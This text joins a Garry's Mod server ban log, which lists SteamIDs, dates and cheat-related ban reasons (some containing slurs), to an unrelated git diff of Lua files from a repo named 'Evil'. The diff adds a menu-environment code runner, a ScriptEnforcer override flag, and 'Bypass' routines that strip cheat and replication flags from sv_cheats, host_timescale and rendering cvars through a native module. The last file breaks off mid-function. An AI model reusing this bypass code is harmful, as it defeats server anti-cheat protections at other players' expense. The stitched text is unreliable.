(Console) +Unknown Unknown Permanent Banned +6:31 pm 09-01-11 Unknown STEAM_0:1:27526575 Cheat: Odius (Console) +Unknown Unknown Permanent Banned +6:30 pm 09-01-11 Unknown STEAM_0:1:13196020 Cheat: Eradicate +(Console) Unknown Unknown Permanent Banned +6:23 pm 09-01-11 Unknown STEAM_0:1:33763522 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +6:22 pm 09-01-11 Unknown STEAM_0:1:24435842 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +6:22 pm 09-01-11 Unknown STEAM_0:1:37118627 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:23 pm 06-01-11 Unknown STEAM_0:0:5442162 Wasting peoples time in a +contentless unban request (Console) Unknown Unknown 2:0:0 Unbanned +4:13 pm 05-01-11 Unknown STEAM_0:1:34077374 Russian skid (Console) +Unknown Unknown Permanent Banned +10:04 pm 04-01-11 Unknown STEAM_0:1:33763522 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +10:04 pm 04-01-11 Unknown STEAM_0:1:24435842 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +1:39 pm 04-01-11 Unknown STEAM_0:0:29163952 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:35 pm 04-01-11 Unknown STEAM_0:1:7334549 A badly written aimbot +with nospread (Console) Unknown Unknown Permanent Banned +1:28 pm 04-01-11 Unknown STEAM_0:1:27526575 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +7:46 pm 29-12-10 Unknown STEAM_0:0:22748305 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +5:12 pm 14-12-10 ^3Good^3Cookies STEAM_0:1:16808261 ("Hour out to +calm down. And grow up") Flapadar Unknown Unknown 0:1:0 Unbanned +10:08 am 11-12-10 λMr.Bigfrogλ STEAM_0:1:25369713 Alt of banned ID +STEAM_0:1:25369713 (Console) Unknown Unknown Permanent Banned +8:14 pm 10-11-10 Unknown STEAM_0:0:25070468 Trader blocking +(Console) Unknown Unknown 31:0:0 Unbanned +8:53 pm 02-11-10 Unknown STEAM_0:1:29327756 Skiddie #3 (Console) +Unknown Unknown Permanent Banned +6:07 pm 02-11-10 Unknown STEAM_0:0:22029898 Skiddie #2 (Console) +Unknown Unknown Permanent Banned +6:06 pm 02-11-10 Unknown STEAM_0:1:23041095 Skiddie #1 (Console) +Unknown Unknown Permanent Banned +6:28 pm 20-10-10 Unknown STEAM_0:1:18953009 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +4:11 pm 18-10-10 Unknown STEAM_0:1:23836998 SethHack - Unban by +flap (Console) Unknown Unknown Permanent Unbanned +3:34 pm 16-10-10 Unknown STEAM_0:1:20898410 Mexican + Fuck yourself +(Console) Unknown Unknown Permanent Banned +1:35 pm 16-10-10 Flapadar STEAM_0:0:10839552 Alt of banned ID +STEAM_0:0:10839552 (Console) Unknown Unknown 221:7:29 Unbanned +3:12 pm 14-10-10 You are ill STEAM_0:1:15138372 Kiddie. Come back in +9 years. (Console) Unknown Unknown 3285:0:0 Banned +11:13 am 14-10-10 Unknown STEAM_0:0:18530428 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:10 pm 08-10-10 Unknown STEAM_0:0:20327715 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +2:56 pm 02-10-10 Unknown STEAM_0:1:22402282 Skiddie (Console) (Reban +by Cold) Unknown Unknown Permanent Banned +2:19 pm 02-10-10 Unknown STEAM_0:0:29114279 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +4:15 am 02-10-10 Unknown STEAM_0:0:19586627 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +7:45 pm 30-09-10 Unknown STEAM_0:1:29478760 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +7:44 pm 30-09-10 Unknown STEAM_0:1:25369713 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +7:43 pm 30-09-10 Unknown STEAM_0:0:22914080 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +11:30 pm 25-09-10 ¤Rogi STEAM_0:1:20394702 Alt of banned ID +STEAM_0:1:20394702 (Console) Unknown Unknown Permanent Banned +9:48 pm 25-09-10 Unknown STEAM_0:1:20394702 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +7:32 pm 23-09-10 Unknown STEAM_0:1:21523239 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +7:14 pm 23-09-10 Unknown STEAM_0:0:31767822 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:31 pm 22-09-10 Unknown STEAM_0:1:16421568 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +8:05 pm 22-09-10 Unknown STEAM_0:1:19748919 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:25 pm 21-09-10 Unknown STEAM_0:1:17749887 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:23 pm 21-09-10 Unknown STEAM_0:1:16212076 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:11 pm 16-09-10 Unknown STEAM_0:0:33944948 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:10 pm 16-09-10 Unknown STEAM_0:1:1198860 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:10 pm 16-09-10 Unknown STEAM_0:0:1194255 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +7:41 pm 13-09-10 Unknown STEAM_0:1:18361092 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +11:10 pm 11-09-10 Unknown STEAM_0:0:20088064 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +4:22 pm 07-09-10 Unknown STEAM_0:0:3597677 Cheat: Speedhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:25915952 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:24309692 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:19878867 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:6669318 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:14928653 SethHack - Unban by +flap (Console) Unknown Unknown Permanent Unbanned +11:13 am 05-09-10 Unknown STEAM_0:0:14830743 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:22240086 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:22293020 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:25315900 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:15465879 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:27791499 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:14027318 SethHack - Unban by +flap (Console) Unknown Unknown Permanent Unbanned +11:13 am 05-09-10 Unknown STEAM_0:0:20327999 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:21748050 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:17465034 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:14563562 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:18515312 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:21373726 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:23674993 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:14100771 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:25331167 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:20811691 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:8343226 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:17141267 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:2381903 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:20314230 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:26262689 Cheat: Sethhack +(Console) Unknown Unknown Permanent Unbanned +11:13 am 05-09-10 Unknown STEAM_0:0:29351959 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:16373250 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:5247800 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:17906432 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:30433726 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:23836998 SethHack - Unban by +flap (Console) Unknown Unknown Permanent Unbanned +11:13 am 05-09-10 Unknown STEAM_0:0:18050538 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +9:34 am 05-09-10 Unknown STEAM_0:0:16764526 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +8:59 am 04-09-10 Unknown STEAM_0:1:14928653 Cheat: Baconbot +(Console) Unknown Unknown Permanent Unbanned +8:59 am 04-09-10 Unknown STEAM_0:0:11680407 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:45 pm 02-09-10 Unknown STEAM_0:1:18011105 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:08 pm 31-08-10 Flapadar STEAM_0:1:31505802 Alt of banned ID +STEAM_0:0:10839552 (Console) Unknown Unknown 0:0:43 Unbanned +8:52 pm 31-08-10 Flapadar STEAM_0:0:10839552 testing (Console) +Unknown Unknown 267:0:13 Unbanned +6:38 pm 30-08-10 Unknown STEAM_0:1:15928137 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:30 pm 30-08-10 Unknown STEAM_0:1:30046997 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +8:25 pm 25-08-10 Unknown STEAM_0:0:15521306 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +8:23 pm 25-08-10 Unknown STEAM_0:0:18952303 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +2:20 pm 22-08-10 Unknown STEAM_0:0:30626912 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +2:19 pm 22-08-10 Unknown STEAM_0:1:22597435 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +3:00 pm 21-08-10 -[SF]- mopi ;) (K) STEAM_0:0:10830304 RDM +(Console) Unknown Unknown 3:0:0 Unbanned +1:54 am 21-08-10 Unknown STEAM_0:0:19921990 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +7:16 pm 20-08-10 Unknown STEAM_0:0:14891104 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +4:14 pm 20-08-10 Unknown STEAM_0:0:17574951 Cheat: Baconbot +(Console) Unknown Unknown Permanent Unbanned +6:03 pm 15-08-10 Unknown STEAM_0:1:34176202 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:44 pm 13-08-10 â?¥ Miss Pink â?¥ STEAM_0:0:1517646 ("Told you not +to cheat") Flapadar Unknown Unknown 0:1:0 Unbanned +9:50 pm 13-08-10 Unknown STEAM_0:1:20318952 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +9:49 pm 13-08-10 Unknown STEAM_0:1:9750737 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +9:48 pm 13-08-10 Unknown STEAM_0:0:19321794 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +9:48 pm 13-08-10 Unknown STEAM_0:0:16018224 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +9:22 pm 13-08-10 Unknown STEAM_0:0:14073219 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:19 pm 13-08-10 Unknown STEAM_0:1:30764583 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:19 pm 13-08-10 Unknown STEAM_0:0:22247737 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:16 pm 13-08-10 Unknown STEAM_0:0:19648713 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:16 pm 13-08-10 Unknown STEAM_0:0:19248793 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:15 pm 13-08-10 Unknown STEAM_0:1:13100739 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:15 pm 13-08-10 Unknown STEAM_0:1:13908513 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +8:39 pm 12-08-10 Unknown STEAM_0:0:6669318 DoS (Console) Unknown +Unknown Permanent Banned +8:39 pm 12-08-10 Unknown STEAM_0:1:5247800 DoS (Console) Unknown +Unknown Permanent Banned +1:37 pm 11-08-10 Unknown STEAM_0:1:25812285 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +2:17 am 10-08-10 Unknown STEAM_0:1:15710428 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +11:34 pm 08-08-10 Unknown STEAM_0:1:22111898 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +11:33 pm 08-08-10 Unknown STEAM_0:1:15404351 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +11:32 pm 08-08-10 Unknown STEAM_0:1:19957547 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +7:25 pm 06-08-10 Unknown STEAM_0:1:15404351 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:37 pm 05-08-10 Unknown STEAM_0:0:21491851 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:37 pm 05-08-10 Unknown STEAM_0:0:29046889 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:36 pm 05-08-10 Unknown STEAM_0:0:3592017 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:36 pm 05-08-10 Unknown STEAM_0:0:18146611 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:36 pm 05-08-10 Unknown STEAM_0:0:19767060 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:35 pm 05-08-10 Unknown STEAM_0:0:5100034 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:35 pm 05-08-10 Unknown STEAM_0:0:24859251 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:35 pm 05-08-10 Unknown STEAM_0:0:24318831 Cheat: Unknown +(Console) Unknown Unknown 6:20:8 Unbanned +10:34 pm 05-08-10 Unknown STEAM_0:0:21513525 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:34 pm 05-08-10 Unknown STEAM_0:0:3592017 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:34 pm 05-08-10 Unknown STEAM_0:0:29790222 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:33 pm 05-08-10 Unknown STEAM_0:1:18227696 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:33 pm 05-08-10 Unknown STEAM_0:1:30286410 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:33 pm 05-08-10 Unknown STEAM_0:1:22038220 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:33 pm 05-08-10 Unknown STEAM_0:1:33488877 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:32 pm 05-08-10 Unknown STEAM_0:0:16042279 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:32 pm 05-08-10 Unknown STEAM_0:1:19354830 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:32 pm 05-08-10 Unknown STEAM_0:1:20810532 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:32 pm 05-08-10 Unknown STEAM_0:0:19531733 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:31 pm 05-08-10 Unknown STEAM_0:0:33443787 Cheat: Baconbot +(Console) Unknown Unknown 547:15:39 Unbanned +10:31 pm 05-08-10 Unknown STEAM_0:1:9011787 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:31 pm 05-08-10 Unknown STEAM_0:1:22111898 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:30 pm 05-08-10 Unknown STEAM_0:1:12040384 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:30 pm 05-08-10 Unknown STEAM_0:0:8345987 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:30 pm 05-08-10 Unknown STEAM_0:0:19490976 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:30 pm 05-08-10 Unknown STEAM_0:0:3749847 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:30 pm 05-08-10 Unknown STEAM_0:1:27042639 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:0:18511864 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:1:29771895 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:1:29535476 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:1:17568188 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:1:17908541 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:0:18287027 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:28 pm 05-08-10 Unknown STEAM_0:1:15476329 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:28 pm 05-08-10 Unknown STEAM_0:1:29502701 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:28 pm 05-08-10 Unknown STEAM_0:0:15500261 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:27 pm 05-08-10 Unknown STEAM_0:0:16267538 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:26 pm 05-08-10 Unknown STEAM_0:0:20479184 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:26 pm 05-08-10 Unknown STEAM_0:0:26269678 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:26 pm 05-08-10 Unknown STEAM_0:1:18617255 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:26 pm 05-08-10 Unknown STEAM_0:0:27332827 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:25 pm 05-08-10 Unknown STEAM_0:0:25559717 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:25 pm 05-08-10 Unknown STEAM_0:1:29142644 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:25 pm 05-08-10 Unknown STEAM_0:1:21756969 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:24 pm 05-08-10 Unknown STEAM_0:1:19650313 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:24 pm 05-08-10 Unknown STEAM_0:1:21756969 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:24 pm 05-08-10 Unknown STEAM_0:1:15231011 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:24 pm 05-08-10 Unknown STEAM_0:1:15979882 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:23 pm 05-08-10 Unknown STEAM_0:1:5247800 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:23 pm 05-08-10 Unknown STEAM_0:0:29192036 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:23 pm 05-08-10 Unknown STEAM_0:0:31585345 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:23 pm 05-08-10 Unknown STEAM_0:0:16330620 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:22 pm 05-08-10 Unknown STEAM_0:1:16485732 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:22 pm 05-08-10 Unknown STEAM_0:1:22482699 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:22 pm 05-08-10 Unknown STEAM_0:0:20854764 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:22 pm 05-08-10 Unknown STEAM_0:1:30710525 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:21 pm 05-08-10 Unknown STEAM_0:0:5550966 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:21 pm 05-08-10 Unknown STEAM_0:0:25470945 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:21 pm 05-08-10 Unknown STEAM_0:0:26895317 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:21 pm 05-08-10 Unknown STEAM_0:0:11431754 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:21 pm 05-08-10 Unknown STEAM_0:0:28656241 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:20 pm 05-08-10 Unknown STEAM_0:0:10131725 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:20 pm 05-08-10 Unknown STEAM_0:0:19807101 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:20 pm 05-08-10 Unknown STEAM_0:0:26165399 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:20 pm 05-08-10 Unknown STEAM_0:1:23836998 Cheating - Unbanned by +flap (Console) Unknown Unknown Permanent Unbanned +10:19 pm 05-08-10 Unknown STEAM_0:1:26487751 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:19 pm 05-08-10 Unknown STEAM_0:1:18222074 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:19 pm 05-08-10 Unknown STEAM_0:1:18307252 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:19 pm 05-08-10 Unknown STEAM_0:0:22284069 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:19 pm 05-08-10 Unknown STEAM_0:0:17600393 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:18 pm 05-08-10 Unknown STEAM_0:0:8615861 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:18 pm 05-08-10 Unknown STEAM_0:0:11801739 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:17 pm 05-08-10 Unknown STEAM_0:1:22111898 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:17 pm 05-08-10 [CA]make violence not warHERO STEAM_0:1:29736286 +Facepunch cheater faggot Cold Unknown Unknown Permanent Banned +1:00 am 01-01-70 Mr.Hito STEAM_0:0:6381908 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +1:00 am 01-01-70 Commander Dagut STEAM_0:0:16499611 Cheat: Baconbot +ColdFusion Unknown Unknown Permanent Banned +1:00 am 01-01-70 STEAM_0:0:9643377 Cheat: Speedhack Cold Unknown +Unknown Permanent Banned +1:00 am 01-01-70 Unknown STEAM_0:0:38808302 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml runstring.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml runstring.lua new file mode 100644 index 0000000..208336d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml runstring.lua @@ -0,0 +1,34 @@ +local RunStringML = _G["RunString"] + +concommand.Add("lua_run_ml", function(ply,cmd,args) + if not tobool(LocalPlayer) then + if #args and #args != 0 then + local strLua = table.concat(args," ") + + Msg("Running lua: \""..strLua.."\"\n") + RunString(strLua) + RunStringML(strLua) + else + Msg("Must contain code to run code\n") + end + else + Msg("Damn you!, this is only for the menu env, use lua_openscript_cl!\n") + end +end) + + + if GetConVar("sv_scriptenforcer"):GetBool() and not string.find(table.concat(args," "),"/f") then + print("[HeX] ScriptEnforcer on, can't load scripts. Run with /f to run anyway") + return + end + + + Msg(" Including ./HeX\n") +local HeX = file.FindInLua("HeX/*.lua") +if #HeX > 0 then + for _,v in ipairs(HeX) do + Msg(" SH Module: ./HeX/"..v.."\n") + include("HeX/"..v) + end +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_B_RFT.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_B_RFT.lua new file mode 100644 index 0000000..674f2ff --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_B_RFT.lua @@ -0,0 +1,16 @@ + +--[[ +local FrameTime = 0 +local LastQuery = 0 + +function RealFrameTimeML() return FrameTime end + +local function RealFrameTimeThink() + + FrameTime = math.Clamp( SysTime() - LastQuery, 0, 0.1 ) + LastQuery = SysTime() + +end + +hook.Add( "Think", "RealFrameTime", RealFrameTimeThink ) +]] \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate old.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate old.lua new file mode 100644 index 0000000..99e7da5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate old.lua @@ -0,0 +1,92 @@ + +if not hexcv then + if not require("hexcv") then + hexcv = {} + hexcv.NotInstalled = true + hexcv.SetFlags = function() print("[HeX] gm_hexcv.dll gone! (SetFlags)") end + hexcv.GetFlags = function() print("[HeX] gm_hexcv.dll gone! (GetFlags)") return 1 end + end +end + +local RED = Color(237,16,29) +local WHITE = Color(255,255,255) +local GREEN = Color(182,231,18) +local PINK = Color(255,175,202) +local BROWN = Color(128,128,0) + +local NiceCVarName = "" +local TotalCVars = 0 +local SrippedCVars = {} + +local CVarsToRemove = { + ["sv_cheats"] = FCVAR_REPLICATED, + ["host_timescale"] = FCVAR_REPLICATED, + ["mat_wireframe"] = FCVAR_CHEAT, + ["mat_fullbright"] = FCVAR_CHEAT, + ["host_framerate"] = FCVAR_CHEAT, + ["vcollide_wireframe"] = FCVAR_CHEAT, +} + + +local function RemoveCVarFlag(cvar,flag) + if hexcv then + hexcv.SetFlags(cvar, hexcv.GetFlags(cvar) - flag) + return true + end + return false +end + +local function MsgDeReplicate() + if hexcv.NotInstalled then + COLCON( RED, "Bypass", WHITE, ": ERROR! hexcv not found!") + return + end + + if TotalCVars > 0 then + for k,v in pairs(SrippedCVars) do + COLCON( RED, "Bypass", WHITE, ": Stripped "..v.." on ", GREEN, k ) + end + COLCON( RED, "Bypass", WHITE, ": Stripped ", GREEN, TotalCVars, WHITE, " CVars" ) + Msg("\n") + return + end + return true +end +timer.Simple(0, MsgDeReplicate) + + +local function RunDeReplicate() + TotalCVars = 0 + SrippedCVars = {} + + for k,v in pairs(CVarsToRemove) do + TotalCVars = TotalCVars + 1 + RemoveCVarFlag(k,v) + + NiceCVarName = "" + if v == FCVAR_CHEAT then + NiceCVarName = "FCVAR_CHEAT" + elseif v == FCVAR_REPLICATED then + NiceCVarName = "FCVAR_REPLICATED" + end + SrippedCVars[k] = NiceCVarName + end + MsgDeReplicate() + return true +end +concommand.Add("hex_dereplicate", RunDeReplicate) + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate replicator.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate replicator.lua new file mode 100644 index 0000000..9f05cb4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate replicator.lua @@ -0,0 +1,107 @@ + + +if not replicator then + COLCON(RED, "Bypass", WHITE, ": Error 404, replicator not found!") + COLCON(RED, "Bypass", WHITE, ": Loading old version..") + + include("custom_menu/old/ml_H_DeReplicate_cvar2.lua") + return +end + + + +local Prefix = "hex_" + +local AlwaysBypass = { + ["r_drawparticles"] = {"1", FCVAR_CLIENTDLL | FCVAR_CHEAT, "Enable/disable particle rendering"}, + ["r_drawothermodels"] = {"1", FCVAR_CLIENTDLL | FCVAR_CHEAT, "0=Off, 1=Normal, 2=Wireframe"}, + ["vcollide_wireframe"] = {"0", FCVAR_CLIENTDLL | FCVAR_CHEAT, "Render physics collision models in wireframe"}, + ["fog_override"] = {"0", FCVAR_CLIENTDLL | FCVAR_CHEAT}, + ["showtriggers"] = {"0", FCVAR_GAMEDLL | FCVAR_CHEAT}, + ["mat_fullbright"] = {"0", FCVAR_CHEAT}, + ["mat_wireframe"] = {"0", FCVAR_CHEAT}, + ["snd_show"] = {"0", FCVAR_CHEAT, "Show sounds info"}, +} + +local NowBypass = { + ["sv_cheats"] = {"0", FCVAR_NOTIFY | FCVAR_REPLICATED | FCVAR_CHEAT, "Allow cheats on server"}, + ["host_timescale"] = {"1.0", FCVAR_NOTIFY | FCVAR_REPLICATED | FCVAR_CHEAT, "Prescale the clock by this ammount."}, +} + + + +local function RenameCVar(cvar,tab) + local NewName = Prefix..cvar + + if ( ConVarExists(cvar) and not ConVarExists(NewName) ) then + local Value = tab[1] + local 